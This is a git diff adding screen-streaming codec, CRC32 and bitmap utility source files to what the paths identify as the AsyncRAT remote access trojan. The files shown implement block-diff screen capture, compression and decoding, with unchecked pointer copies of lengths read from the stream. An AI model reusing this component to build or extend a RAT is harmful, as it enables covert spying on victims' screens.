+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ }
+
+ private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
+ {
+ if (EncodeBuffer == null)
+ {
+ this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
+ this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
+ int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
+ this.EncodeBuffer = new ulong[TotalBlocks];
+ }
+
+ List points = new List();
+ int StartScan = Scan0.ToInt32();
+
+ for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
+ {
+ if (y + CheckBlock.Height > OutputRect.Height)
+ break;
+
+ for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
+ {
+ if (x + CheckBlock.Width > OutputRect.Width)
+ break;
+
+ int EncodeOffset = GetOffset(x, y);
+ long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
+ ulong* ScanPtr = (ulong*)(StartScan + offset);
+
+ if (EncodeBuffer[EncodeOffset] != *ScanPtr)
+ {
+ EncodeBuffer[EncodeOffset] = *ScanPtr;
+
+ Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
+ int index = points.Count - 1;
+ if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
+ {
+ Rectangle rect = points[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ points[index] = cBlock;
+ }
+ else
+ {
+ points.Add(cBlock);
+ }
+ }
+ }
+ }
+ return points;
+ }
+
+ private Point GetOffsetPoint(int x, int y)
+ {
+ return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
+ (int)Math.Floor((double)(x / CheckBlock.Width)));
+ }
+
+ private int GetOffset(int x, int y)
+ {
+ return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
+ (int)Math.Floor((double)(x / CheckBlock.Width));
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
new file mode 100644
index 0000000..64e11eb
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
@@ -0,0 +1,367 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeStreamCodec : IUnsafeCodec
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize; }
+ }
+
+ public Size CheckBlock { get; private set; }
+ private byte[] EncodeBuffer;
+ private Bitmap decodedBitmap;
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ bool UseJPEG;
+
+ ///
+ /// Initialize a new object of UnsafeStreamCodec
+ ///
+ /// The quality to use between 0-100
+ public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
+ : base(ImageQuality)
+ {
+ this.CheckBlock = new Size(50, 1);
+ this.UseJPEG = UseJPEG;
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ if (this.EncodedFormat != Format)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+
+ List Blocks = new List();
+ int index = 0;
+
+ Size s = new Size(ScanArea.Width, CheckBlock.Height);
+ Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
+
+ int lasty = ScanArea.Height - lastSize.Height;
+ int lastx = ScanArea.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+ List finalUpdates = new List();
+
+ s = new Size(ScanArea.Width, s.Height);
+ fixed (byte* encBuffer = EncodeBuffer)
+ {
+ for (int y = ScanArea.Y; y != ScanArea.Height; )
+ {
+ if (y == lasty)
+ s = new Size(ScanArea.Width, lastSize.Height);
+ cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ int offset = (y * Stride) + (ScanArea.X * PixelSize);
+ if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
+ {
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ x = ScanArea.X;
+ while (x != ScanArea.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+
+ cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
+ bool FoundChanges = false;
+ int blockStride = PixelSize * cBlock.Width;
+
+ for (int j = 0; j < cBlock.Height; j++)
+ {
+ int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
+ if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
+ FoundChanges = true;
+ NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ }
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if(FoundChanges)
+ {
+ index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ x += s.Width;
+ }
+ }
+ }
+
+ /*int maxHeight = 0;
+ int maxWidth = 0;
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ if (finalUpdates[i].Height > maxHeight)
+ maxHeight = finalUpdates[i].Height;
+ maxWidth += finalUpdates[i].Width;
+ }
+
+ Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
+ int XOffset = 0;*/
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ /*using (Graphics g = Graphics.FromImage(bmp))
+ {
+ g.DrawImage(TmpBmp, new Point(XOffset, 0));
+ }
+ XOffset += TmpBmp.Width;*/
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Length;
+ long OldPos = outStream.Position;
+
+ if (UseJPEG)
+ {
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ }
+ else
+ {
+ base.lzwCompression.Compress(TmpBmp, outStream);
+ }
+
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+
+ /*if (finalUpdates.Count > 0)
+ {
+ byte[] lele = base.jpgCompression.Compress(bmp);
+ byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
+ bool Won = lele.Length < outStream.Length;
+ bool CompressWon = compressed.Length < outStream.Length;
+ Console.WriteLine(Won + ", " + CompressWon);
+ }
+ bmp.Dispose();*/
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ Blocks.Clear();
+ finalUpdates.Clear();
+ }
+ }
+
+ public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+ return decodedBitmap;
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed(byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ try
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ using (Graphics g = Graphics.FromImage(decodedBitmap))
+ {
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ tempData = null;
+
+ byte[] buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ using (MemoryStream m = new MemoryStream(buffer))
+ using (Bitmap tmp = (Bitmap)Image.FromStream(m))
+ {
+ g.DrawImage(tmp, rect.Location);
+ }
+ buffer = null;
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ }
+ return decodedBitmap;
+ }
+ catch { return null; }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs
new file mode 100644
index 0000000..7e89054
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs
@@ -0,0 +1,186 @@
+// Tamir Khason http://khason.net/
+//
+// Released under MS-PL : 6-Apr-09
+using System;
+using System.Collections.Generic;
+using System.Text;
+using System.Security.Cryptography;
+using System.Collections;
+using System.IO;
+
+namespace StreamLibrary.src
+{
+ /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.
+ /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
+ /// or SHA512 in the System.Security.Cryptography namespace.
+ public class CRC32 : HashAlgorithm
+ {
+ #region CONSTRUCTORS
+ /// Creates a CRC32 object using the .
+ public CRC32()
+ : this(DefaultPolynomial)
+ {
+ }
+
+ /// Creates a CRC32 object using the specified polynomial.
+ /// The polynomical should be supplied in its bit-reflected form. .
+ public CRC32(uint polynomial)
+ {
+ HashSizeValue = 32;
+ _crc32Table = (uint[])_crc32TablesCache[polynomial];
+ if (_crc32Table == null)
+ {
+ _crc32Table = CRC32._buildCRC32Table(polynomial);
+ _crc32TablesCache.Add(polynomial, _crc32Table);
+ }
+ Initialize();
+ }
+
+ // static constructor
+ static CRC32()
+ {
+ _crc32TablesCache = Hashtable.Synchronized(new Hashtable());
+ _defaultCRC = new CRC32();
+ }
+ #endregion
+
+ #region PROPERTIES
+ /// Gets the default polynomial (used in WinZip, Ethernet, etc.)
+ /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.
+ public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
+ #endregion
+
+ #region METHODS
+ /// Initializes an implementation of HashAlgorithm.
+ public override void Initialize()
+ {
+ _crc = _allOnes;
+ }
+
+ /// Routes data written to the object into the hash algorithm for computing the hash.
+ protected override void HashCore(byte[] buffer, int offset, int count)
+ {
+ for (int i = offset; i < count; i++)
+ {
+ ulong ptr = (_crc & 0xFF) ^ buffer[i];
+ _crc >>= 8;
+ _crc ^= _crc32Table[ptr];
+ }
+ }
+
+ /// Finalizes the hash computation after the last data is processed by the cryptographic stream object.
+ protected override byte[] HashFinal()
+ {
+ byte[] finalHash = new byte[4];
+ ulong finalCRC = _crc ^ _allOnes;
+
+ finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
+ finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
+ finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
+ finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
+
+ return finalHash;
+ }
+
+ /// Computes the CRC32 value for the given ASCII string using the .
+ public static int Compute(string asciiString)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(asciiString));
+ }
+
+ /// Computes the CRC32 value for the given input stream using the .
+ public static int Compute(Stream inputStream)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(inputStream));
+ }
+
+ /// Computes the CRC32 value for the input data using the .
+ public static int Compute(byte[] buffer)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(buffer));
+ }
+
+ /// Computes the hash value for the input data using the .
+ public static int Compute(byte[] buffer, int offset, int count)
+ {
+ _defaultCRC.Initialize();
+ return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
+ }
+
+ /// Computes the hash value for the given ASCII string.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ public byte[] ComputeHash(string asciiString)
+ {
+ byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
+ return ComputeHash(rawBytes);
+ }
+
+ /// Computes the hash value for the given input stream.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ new public byte[] ComputeHash(Stream inputStream)
+ {
+ byte[] buffer = new byte[4096];
+ int bytesRead;
+ while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
+ {
+ HashCore(buffer, 0, bytesRead);
+ }
+ return HashFinal();
+ }
+
+ /// Computes the hash value for the input data.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ new public byte[] ComputeHash(byte[] buffer)
+ {
+ return ComputeHash(buffer, 0, buffer.Length);
+ }
+
+ /// Computes the hash value for the input data.
+ /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data.
+ new public byte[] ComputeHash(byte[] buffer, int offset, int count)
+ {
+ HashCore(buffer, offset, count);
+ return HashFinal();
+ }
+ #endregion
+
+ #region PRIVATE SECTION
+ private static uint _allOnes = 0xffffffff;
+ private static CRC32 _defaultCRC;
+ private static Hashtable _crc32TablesCache;
+ private uint[] _crc32Table;
+ private uint _crc;
+
+ // Builds a crc32 table given a polynomial
+ private static uint[] _buildCRC32Table(uint polynomial)
+ {
+ uint crc;
+ uint[] table = new uint[256];
+
+ // 256 values representing ASCII character codes.
+ for (int i = 0; i < 256; i++)
+ {
+ crc = (uint)i;
+ for (int j = 8; j > 0; j--)
+ {
+ if ((crc & 1) == 1)
+ crc = (crc >> 1) ^ polynomial;
+ else
+ crc >>= 1;
+ }
+ table[i] = crc;
+ }
+
+ return table;
+ }
+
+ private static int ToInt32(byte[] buffer)
+ {
+ return BitConverter.ToInt32(buffer, 0);
+ }
+ #endregion
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs
new file mode 100644
index 0000000..5ea4bfc
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs
@@ -0,0 +1,12 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace System.Runtime.CompilerServices
+{
+ [AttributeUsage(AttributeTargets.Method)]
+ public sealed class ExtensionAttribute : Attribute
+ {
+ public ExtensionAttribute() { }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs
new file mode 100644
index 0000000..82590e7
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs
@@ -0,0 +1,59 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public static unsafe class Extensions
+ {
+ public static SortedList> RectanglesTo2D(this Rectangle[] rects)
+ {
+ SortedList> Rects = new SortedList>();
+ for (int i = 0; i < rects.Length; i++)
+ {
+ if (!Rects.ContainsKey(rects[i].Y))
+ Rects.Add(rects[i].Y, new SortedList());
+
+ if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
+ Rects[rects[i].Y].Add(rects[i].X, rects[i]);
+ }
+ return Rects;
+ }
+
+ public static SortedList> Rectangle2DToRows(this SortedList> Rects)
+ {
+ SortedList> RectRows = new SortedList>();
+
+ for (int i = 0; i < Rects.Values.Count; i++)
+ {
+ if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
+ {
+ RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList());
+ }
+ if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
+ {
+ RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
+ }
+
+ Rectangle EndRect = Rects.Values[i].Values[0];
+ for (int x = 1; x < Rects.Values[i].Values.Count; x++)
+ {
+ Rectangle CurRect = Rects.Values[i].Values[x];
+ Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
+ if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
+ {
+ RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
+ EndRect = Rects.Values[i].Values[x];
+ }
+ else
+ {
+ EndRect = Rects.Values[i].Values[x];
+ RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
+ }
+ }
+ }
+ return RectRows;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs
new file mode 100644
index 0000000..319d630
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs
@@ -0,0 +1,353 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public unsafe class FastBitmap
+ {
+ public Bitmap bitmap { get; set; }
+ public BitmapData bitmapData { get; private set; }
+ public int Width { get; private set; }
+ public int Height { get; private set; }
+ public PixelFormat format { get; private set; }
+ public DateTime BitmapCreatedAt;
+ public bool IsLocked { get; private set; }
+
+ public int Stride
+ {
+ get { return bitmapData.Stride; }
+ }
+
+ public FastBitmap(Bitmap bitmap, PixelFormat format)
+ {
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ case PixelFormat.Format8bppIndexed:
+ case PixelFormat.Format4bppIndexed:
+ case PixelFormat.Format1bppIndexed:
+ break;
+ default:
+ throw new NotSupportedException(format + " is not supported.");
+ }
+
+ this.bitmap = bitmap;
+ this.Width = this.bitmap.Width;
+ this.Height = this.bitmap.Height;
+ this.format = format;
+ Lock();
+ BitmapCreatedAt = DateTime.Now;
+ }
+
+ public FastBitmap(Bitmap bitmap)
+ {
+ this.format = bitmap.PixelFormat;
+
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ case PixelFormat.Format8bppIndexed:
+ case PixelFormat.Format4bppIndexed:
+ case PixelFormat.Format1bppIndexed:
+ break;
+ default:
+ throw new NotSupportedException(format + " is not supported.");
+ }
+
+ this.bitmap = bitmap;
+ this.Width = this.bitmap.Width;
+ this.Height = this.bitmap.Height;
+ this.format = format;
+ Lock();
+ BitmapCreatedAt = DateTime.Now;
+ }
+
+ public Color GetPixel(int x, int y)
+ {
+ byte* position = (byte*)bitmapData.Scan0.ToPointer();
+ position += CalcOffset(x, y);
+
+ byte A = position[3];
+ byte R = position[2];
+ byte G = position[1];
+ byte B = position[0];
+ return Color.FromArgb(A, R, G, B);
+ }
+
+ public void SetPixel(int x, int y, Color color)
+ {
+ byte* position = (byte*)bitmapData.Scan0.ToPointer();
+ position += CalcOffset(x, y);
+
+ position[3] = color.A;
+ position[2] = color.R;
+ position[1] = color.G;
+ position[0] = color.B;
+ }
+
+ public Color GetPixel(int x, int y, byte[] ImgData)
+ {
+ long offset = CalcOffset(x, y) + 4;
+ if (offset + 4 < ImgData.Length)
+ {
+ byte R = ImgData[offset];
+ byte G = ImgData[offset + 1];
+ byte B = ImgData[offset + 2];
+ return Color.FromArgb(255, R, G, B);
+ }
+ return Color.FromArgb(255, 0, 0, 0);
+ }
+ public void SetPixel(int x, int y, Color color, byte[] ImgData)
+ {
+ long offset = CalcOffset(x, y) + 4;
+ if (offset + 4 < ImgData.Length)
+ {
+ ImgData[offset] = color.R;
+ ImgData[offset + 1] = color.G;
+ ImgData[offset + 2] = color.B;
+ ByteArrayToBitmap(ImgData);
+ }
+ }
+
+ public void DrawRectangle(Point begin, Point end, Color color)
+ {
+ for (int x = begin.X; x < end.X; x++)
+ {
+ for (int y = begin.Y; y < end.Y; y++)
+ {
+ SetPixel(x, y, color);
+ }
+ }
+ }
+
+ public Int64 CalcOffset(int x, int y)
+ {
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ return (y * bitmapData.Stride) + (x * 4);
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ return (y * bitmapData.Stride) + (x * 3);
+ case PixelFormat.Format8bppIndexed:
+ return (y * bitmapData.Stride) + x;
+ case PixelFormat.Format4bppIndexed:
+ return (y * bitmapData.Stride) + (x / 2);
